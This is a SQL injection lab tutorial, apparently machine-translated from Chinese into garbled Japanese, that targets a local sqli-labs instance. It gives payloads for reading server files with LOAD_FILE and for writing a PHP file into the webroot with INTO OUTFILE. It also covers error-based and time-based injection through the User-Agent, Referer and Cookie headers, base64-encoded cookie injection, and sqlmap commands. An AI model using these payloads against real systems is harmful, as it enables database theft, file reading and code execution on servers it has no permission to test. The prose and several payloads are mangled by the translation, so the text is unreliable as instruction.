1、MySQLの注入は、読み取りと書き込みのファイル
浸透プロセスの間にMySQLデータベースを使用することができる、またはそれ以上の機能は、データを読み取ることに加えて、ファイルを読み取ることができる(十分な権限場合)
前提を読みます
- 1.利用者は、権利root権限で可能な限り、高い十分にあります
- 2.secure_file_priv NOT NULL
人為的にsecure_file_privのデフォルト値を設定する必要があります
データベース構成ファイルを変更します。
Phpstudy2018、再検証、再起動、ファイルを保存した後:
ファイルの内容を読みます
http://127.0.0.1/sqli/Less-1/?id=-1組合1を選択し、LOAD_FILE( 'D:\ 1.TXT')、3 - +
http://127.0.0.1/sqli/Less-1/?id=-1組合は1、LOAD_FILE選択します( 'C:\ Users \ユーザー管理を\デスクトップ\ SQLMAP \ sqlmapproject-SQLMAP-3b7dd2c \ target.txt')、 3 - +
MySQLのオープンファイルの書き込み
「%一般的な%」のような変数を示し ;#のデフォルトはオフになっている
の集合グローバルgeneral_log =;
ファイルの書き込みを開始するSQL:
http://127.0.0.1/sqli/Less-7/?id=-1 '))組合1を選択し、' <PHPのphpinfo();??>」、3 OUTFILEへの 'C:\\ユーザー\\管理者\\デスクトップ\\ SQLMAP \\ sqlmapproject-SQLMAP-3b7dd2c \\ target.txt' - +
ファイルパスがスラッシュ間隔を倍にしなければならないことを注意 OUTFILEには、以前のSQLクエリの結果は、パスのフォルダにバックを書かれています。
"<?phpののphpinfo();?>" http://127.0.0.1/sqli/Less-7/?id=-1' ))組合1を選択し、G」OUTFILEへの3:\\ phpstudy2018 \\ PHPTutorial \\ \\ WWW SQLI \\少ない-7 \\ 1.php」 - +
読み取りと書き込みのファイルに使用SQLMAP
パイソンsqlmap.py -u「http://127.0.0.1/sqli/Less-7/?id=1」--file-読み「D:\\ 1.TXT」
図2に示すように、HTTPヘッダSQLインジェクション
はじめにHTTPヘッダインジェクション
セキュリティ意識のケースでは、より多くの注意、多くのサイトは、脆弱性を防止しています。そのようなSQLインジェクションのように、パラメータは、特定の手段がコードを濾過することをユーザによって提出されます。
ユーザから直接パラメータをフィルタリングするが、HTTPヘッダで送信内容は、おそらく全くフィルタリングは存在しないです。
UPDATEXML関数
UPDATEXML(XML_document、XPath_string、NEW_VALUE) ;
最初のパラメータ:XML_document文字列の形式は、XMLドキュメントオブジェクトの名前として、本明細書ドクある
XPath_string(XPath文字列形式):第二引数
第三のパラメータ:NEW_VALUE 、文字列の形式は、見つかった修飾されたデータを交換します
- HTTPのUser-Agent注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~
出力バージョン情報
出力データベース名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~
カーリー手法やツールのテスト別の仮想マシン:
「1'かは、=」名探偵コナン1次のように。:
# ' or '1'='1 报错信息
正常sql语句如下
select * from users where id = '1';
推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 '; 闭合成功
- HTTPリファラーの注射
' or if(1=1,sleep(5),null) or '1'='1
テストSQLMAP安全
フォームポスト噴射検索SQLMAP自動的に
SQLインジェクション検出するSQLMAP指定されたパラメータを
SQLMAPのリファラは続いリファラに注入*又は*
2、クッキーの注射
HTTPヘッダインジェクション説明
サーバーは、HTTPトランスポートの状態を決定するために、情報画面と定期的な保守情報のいずれかを含むようにクッキーを使用することができます。クッキー最も古典的なアプリケーションは、ユーザーがサイトをログインしたかどうかを判断することです。
クッキー注入
クッキーパラメータがフィルタリング操作を渡す送信クッキーパラメータコードを使用してではなく。SQLインジェクションの脆弱性につながります。
注入されたペイロード
クッキー:のuname =管理者または1 = 1 - +
クッキー:のuname =管理者とUPDATEXML(1、CONCAT(0x7Eを、バージョン()、0x7Eを)、1) - +
SQLMAP安全性試験
SQLMAP -r target.txt --level 3 --batch
クッキー注入Base64で
Base64では、説明
のプロセスから文字へのbase64バイナリエンコーディングは、それはHTTP環境で長い識別情報を送信するために使用することができます。BASE64は、base64バイナリデータ表現64の印刷可能文字に基づいて、バイトコードをコードする8ビットの伝送のための最も一般的なネットワークの一つです。
元のコンテンツは、(変換されたバックすることができる)は、6つを取るし、新しいコンテンツを形成するために、2つの最高0を埋めるために左から右に、バイナリに変換され
符号化規則
- 1. 3文字4つの文字に
- 2.すべての76文字と改行
- 3.最後に、我々はアドレスターミネータに必要
クッキーのBase64ジェクトコード解析
base64で暗号化URL
報告された警告した場合:日付は():php.iniの設定date.timezoneでは、後に設定PRC、されていますdate.timezoneで= PRC
Base64で暗号注入文を使用して、SQLインジェクションクッキーを完了するために、対応する位置に挿入され、脆弱性を検出します。
保存された再開変更後の
平文「または1. 1 =# (以下、暗号化)
IiBvciAxPTEgIw ==
SQLMAP安全性試験
パイソンsqlmap.py -r target.txt --level 3 --tamper base64encode.py